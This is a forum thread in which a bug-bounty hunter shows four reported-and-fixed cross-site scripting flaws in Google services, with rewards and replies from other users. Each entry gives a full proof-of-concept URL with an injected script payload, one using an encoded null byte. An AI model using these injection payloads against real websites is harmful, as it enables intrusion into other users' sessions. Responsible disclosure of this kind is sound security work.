[elvinguitar]

Google Image XSS

Screenshot:
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GoogleXSS.jpg[/IMG]

Link:

Code

www.google.com/search?q=google&hl=en&gbv=2&biw=1024&bih=664&noj=1&tbs=isz:ex,iszw:"><script>alert("XSS by elvin") ;</script>,iszh:"><script>alert("XSS by elvin") ;</script>&tbm=isch&source=lnt&sa=X&ei=9NSxTpLhEIGaiQfDrsDLAg&ved=0CBIQpwUoBQ

Status: Fixed

Reward: $500
Spoiler (Click to View)[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GoogleImageEmail.jpg[/IMG]

Google Fusion Table XSS

Screenshot:
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GoogleFusionTableXSS.jpg[/IMG]

Link:

Code

www.google.com/fusiontables/DataSource?dsrcid=2257355"><script>alert("XSS by elvinguitar") ;</script>

Status: Fixed

Reward: $1000
Spoiler (Click to View)[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GoogleFusionTableEmail.jpg[/IMG]

Google Voice XSS

Screenshot:
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GoogleVoice1.jpg[/IMG]

Link:

Code

https://www.google.com/voice/rates?p=%27%29;alert%28%22XSS%20by%20elvinguitar%22%29%20;%3C/script%3E

Status: Fixed

Reward: $1000
Spoiler (Click to View)[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/Capture-1.jpg[/IMG]

Google Search XSS

Screenshot:
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/ph.jpg[/IMG]

Link:

Code

http://www.google.com.ph/support/jobs/bin/search.py?ctx=en%3Asearchbox&query=%3C%00script%3E%3Cscript%3Ealert%28%22XSS%20by%20elvinguitar%22%29%3C/script%3E

Status: Fixed

Reward: $500
Spoiler (Click to View)[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/Capture-2.jpg[/IMG]

Hall of Fame:
http://www.google.com/about/corporate/co...ffame.html

I just want to show my achievements that's why this thread was created. No flaming. 🙂

Sorry for the very late upload in Google Search XSS. Hehe. ✌

[~!White!~]

Good job with the Xss im on the hall of fame to :) i'm getting $3,000 from Google in total

[Mr.Cube]

Are you shitting me your a damn god never seen anyone find 2 exploits before!:)

[elvinguitar]

awesome dude keep it up and enjoy the money

thanks mate! 🙂 Belmin Vehabovic (~!White!~) has more Google XSS than me. I'm sure he has earned a lot. By the way, I still have one XSS and google security team is now fixing it. 🙂

[elvinguitar]

Good job with the Xss im on the hall of fame to :) i'm getting $3,000 from Google in total

I know you'll earn more than me mate! 🙂 By the way, I'm always looking at your twitter page and I'm always want to keep updated of the xss you've found.

[1n54n3]

Awesome find and rewards mate.
Im Jelly !

[elvinguitar]

Awesome find and rewards mate.
Im Jelly !

Thanks you mate. 🙂 maybe you're jelly at this point in time. but if you will now start looking for xss, maybe you'll earn more than me. 😉

Ah great... !!!

This is why hacker are problem solver. And defacer are lam lol.

Honestly, i'm quite jelly to ~!White!~ because he always find xss on big companies. and every time he tweeted a new xss, i have this in mind "I needed to work hard and find one also." 😁

[adampelletgun]

Wow nice finds man i hope i find big ones like this :D

Keep it up :)

[Research]

nice work buddy ;) good luck with your next finding :)

[elvinguitar]

thanks to both of you guys. 🙂 as of now, it's really difficult to find new xss in google. But wish me luck. ;)

[Techie‌‌‌]

Nice work.

Some told me that the main search is not vulnerable. 🤫

[elvinguitar]

Nice work.

Some told me that the main search is not vulnerable. 🤫

Thanks mate! 🙂

By the way, only "some" told you but not "all" 😁

See this mate: http://www.nilsjuenemann.de/2011/11/xss-...lecom.html

[Alienguy]

Cool man . Enjoy.
Can you explain the first one to me over PM ?
And good luck finding a few more .

[CR33T3N]

Good job on those.
But just out of curiosity , did google actually paid you yet?
And did you ask for paymet or did google just said that they will pay you?

[elvinguitar]

Cool man . Enjoy.
Can you explain the first one to me over PM ?
And good luck finding a few more .

No need to explain about this one mate since the link is already given. 🙂

Good job on those.
But just out of curiosity , did google actually paid you yet?
And did you ask for paymet or did google just said that they will pay you?

Honestly, i still don't have the money yet because it took 4-6 weeks before they release the money. Also, they are having a problem with my case because I used a different supplier name, it's because I don't have a bank account so I need to use my father's.

The last email i've received about the reward is that i will be able to get it on january. 🙂